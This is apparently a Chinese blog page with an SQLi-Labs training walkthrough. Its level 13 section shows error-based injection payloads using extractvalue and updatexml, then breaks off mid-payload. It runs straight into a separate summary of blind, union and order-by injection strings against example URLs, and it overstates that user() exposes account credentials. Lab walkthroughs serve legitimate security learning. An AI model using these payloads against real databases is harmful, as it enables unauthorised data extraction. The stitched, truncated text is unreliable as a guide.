sqli-labs13~14关详细教程

第13 关

先登录进去

第一步确定闭合点

可以用admin'\或者1'\来判断,\后面的为闭合点,结果为')为闭合点

第二步确定回显点发现无报错,直接用报错语句查数据库名

注入方式发现无结果

用报错语句 

用extractvalue函数语句,1') and extractvalue(1,concat (1,(select database())))#

 用updatexml函数的语句,1') and updatexml(1

### SQL注入实验平台(SQLi-Labs)第1至13解法指导 #### 卡概述 SQLi-Labs 是一个用于学习和练习 SQL 注入技术的安全测试环境。每一都设计有不同的漏洞场景,让参与者能够通过实际操作掌握如何利用这些安全缺陷。 #### 第一:基础 GET 请求注入 对于最简单的 GET 参数注入案例,在 URL 中直接附加恶意字符串可以触发响应延迟或返回异常信息。例如,尝试使用布尔型盲注方法验证数据库名长度是否小于特定数值[^1]。 ```sql http://example.com/Less-9/?id=1' AND IF(LENGTH(database())<10,sleep(1),1) -- ``` 此请求会根据 `database()` 函数的结果决定是否执行延时函数 `sleep`,从而间接得知数据库名称的字符数范围。 #### 第三:单引号闭合技巧 当面对需要闭已有语句的情况时,可以通过添加合适的结束符来完成攻击链路构建。比如下面的例子展示了怎样处理已存在的单引号并继续构造有效载荷[^2]: ```sql http://example.com/Less-3/?id=1') --+ ``` 上述命令成功终止了原始查询中的单引号部分,并使后续逻辑被忽略掉。 #### 数据库结构探测 为了进一步了解目标系统的内部情况,可以从元数据表中提取有用的信息。如要获取某个模式下的所有表格列表,则可通过如下方式实现[^3]: ```sql ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>1-- ``` 这段代码片段旨在逐位读取指定范围内首个符合条件记录的名字首字节ASCII码值。 #### 获取敏感信息 一旦掌握了足够的上下文细节之后,就可以着手于更深层次的数据挖掘工作。例如,联合查询可以帮助一次性取得多个属性的内容展示给用户查看[^4]: ```sql ?id=555' union select 1,database(),user() --+ ``` 这条指令不仅揭示出了当前正在使用的数据库实例标识符,同时也暴露了运行该应用的服务端账户凭证资料。 #### 高级条件判断机制 某些情况下可能无法依赖直观可见的行为差异来进行推理分析;这时就需要引入更加隐蔽的手法——基于业务流程本身的特性来做文章。以排序行为为例,如果能观察到不同条件下输出顺序的变化规律的话,便有可能据此推断出隐藏着的秘密比特串[^5]: ```sql sort=rand(ascii(substr((select database()),1,1))>96)-- ``` 以上表达式巧妙地运用随机化排列规则配合 ASCII 编码比较运算实现了对未知量的有效猜测过程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值